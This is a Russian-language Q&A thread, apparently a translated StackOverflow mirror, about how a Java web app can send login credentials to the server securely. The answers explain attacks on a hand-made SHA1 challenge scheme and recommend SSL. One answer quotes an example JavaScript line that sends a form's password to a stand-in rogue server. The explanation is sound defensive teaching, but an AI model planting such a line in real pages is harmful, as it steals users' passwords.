Веб-аутентификация - как безопасно передать имя пользователя / пароль от клиента на сервер - PullRequest
4 голосов
/ 25 января 2012

У меня есть веб-приложение (Java), которое я пытаюсь запустить. Пользователь должен войти в систему, чтобы использовать функции. Итак, это приложение состоит из двух частей:
1) Регистрация пользователя
2) Логин
Меня беспокоит вопрос о том, насколько безопасен мой способ передачи данных имени пользователя и пароля из веб-браузера на сервер.

Регистрация

Я очень растерялся, потому что не совсем уверен, как безопасно отправлять данные из веб-браузера на сервер.

Войти

У меня есть следующие настройки:

<< <strong>Клиент >> ------------------------------------ ------------------ << <strong>Сервер >>
[ Запрос токена ] --------------------------------------- ---------------------- >>
<< </strong> -------------- [ Отправляет случайно сгенерированный токен из идентификатора сеанса ]
[ Клиентские вычисления hashedSecret = SHA1 (токен + SHA1 (пароль)) ]
[ Send Array: [username, hashedSecret] ] ---------------------------------- - >>
[ Сервер запрашивает имя пользователя SHA1 (пароль) из базы данных ]
[ Сервер вычисляет ОжидаемыйСекрет = SHA1 (токен + SHA1 (пароль)) ]
[ Сервер сравнивает hashedSecret с ожидаемымSecret ]


Я хотел бы знать, как безопасно регистрировать пользователей и достаточно ли безопасен мой логин.

Спасибо

Ответы [ 3 ]

9 голосов
/ 25 января 2012

Кажется ... слишком сложным.Просто используйте SSL, он является отраслевым стандартом и достаточно хорош для банков.

8 голосов
/ 26 января 2012

Является ли он "достаточно безопасным", это, конечно, только то, на что вы можете ответить как владелец системы.Если ваш ожидаемый злоумышленник неквалифицирован и немотивирован, а влияние сбоя аутентификации низкое, то это так.Если вы защищаете что-либо, имеющее значительную ценность, то это, вероятно, не является достаточно безопасным решением.

Вот несколько векторов атак, для которых этот подход, вероятно, будет уязвим.

Manатаки в середине:

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates

Перехватчик прослушивает ответ аутентификации клиента, а затем передает его на сервер.Сервер проверяет правильность и аутентифицирует перехватчик.

Атаки хэширования пароля в автономном режиме

Перехватчик, который может читать сообщения между клиентом и сервером, будет иметь токен и логику(из JavaScript) используется для генерации хеша.Таким образом, злоумышленник узнает H(token + H(password)), token и H(x), где H - алгоритм хеширования криптографа (SHA1).

Затем злоумышленник может выполнить атаку по словарю на ответ клиента наугадать пароль, где злоумышленник может попытаться взломать пароль в автономном режиме, используя атаки по словарю и аналогичные методы.Поскольку злоумышленнику не требуется проходить проверку подлинности на сервере, а может взломать пароль в автономном режиме, можно быстро взломать умеренно-слабые пароли.

Модификация сообщений сервера при передаче

Клиент не может гарантировать целостность сообщений сервера, и сообщения могут быть изменены при передаче.Например, злонамеренный посредник может вставить на страницу HTML строку JavaScript, которая перехватывает пароль через DOM и отправляет его на мошеннический сервер.(Мошеннический посредник может, например, вставить new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value в метод отправки формы.)

Атаки воспроизведения

Если токены сервера повторяются с достаточной частотой,перехватчик может захватить успешную пару токен / ответ.Затем злоумышленник может сделать большое количество запросов на токен, ожидая, пока известный токен не будет переработан.Затем атакующий воспроизводит ответ известного токена на сервер.Сервер сравнивает ответ злоумышленника с ожидаемым ответом и аутентифицирует злоумышленника.

Атаки после аутентификации

После аутентификации сеанса сообщения клиента и сервера продолжают оставатьсяотправлено открытым текстом.Злоумышленник может провести атаку с целью перехвата сеанса, используя файл cookie сеанса клиента, чтобы выдать себя за аутентифицированного клиента.Злоумышленник может также перехватить конфиденциальные данные между сервером и клиентом или изменить данные при передаче, нарушив конфиденциальность, целостность и невозможность отказа от связи клиент-сервер.Например, клиент может отправить ответ для выполнения BenignAction, который злоумышленник изменяет при передаче на GetSecretData.Затем злоумышленник читает ответ, якобы содержащий секретные данные.

Все это говорит о том, что предлагаемый метод может быть не намного более безопасным, чем отправка пароля в виде открытого текста.Если безопасность является проблемой, использование SSL с сертификатом от доверенного ЦС (для практических целей) эффективно предотвратит все эти атаки.

0 голосов
/ 23 августа 2015

@ Квентин написал, что SSL хорош и что сегодня используется в индустрии. Это самый простой из реализуемых способов обеспечения безопасности, но для меня он получает оценку C или хуже за безопасность. Банковские приложения и другие сайты используют более строгие методы защиты в зависимости от информации, которую вы пытаетесь защитить.

Например, StackOverflow.com использует стандартные формы POST для создания пользователей и защиты трафика через SSL. Это достаточно хорошо для сайта, который является только сайтом базы знаний сообщества. Пример POST:

POST https://stackoverflow.com/users/login-or-signup/validation/track         
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Host: stackoverflow.com
Content-Length: 240
Connection: Keep-Alive
Cache-Control: no-cache

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign

Банки, как и приложение Wells Fargo, будут сериализовывать двоично, шифровать ключ частного клиента и использовать SSL для трафика формы. Это немного похоже на «Security by Obscurity», но это лучше, чем просто SSL. Мои 2 цента. Ура! * * 1006

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...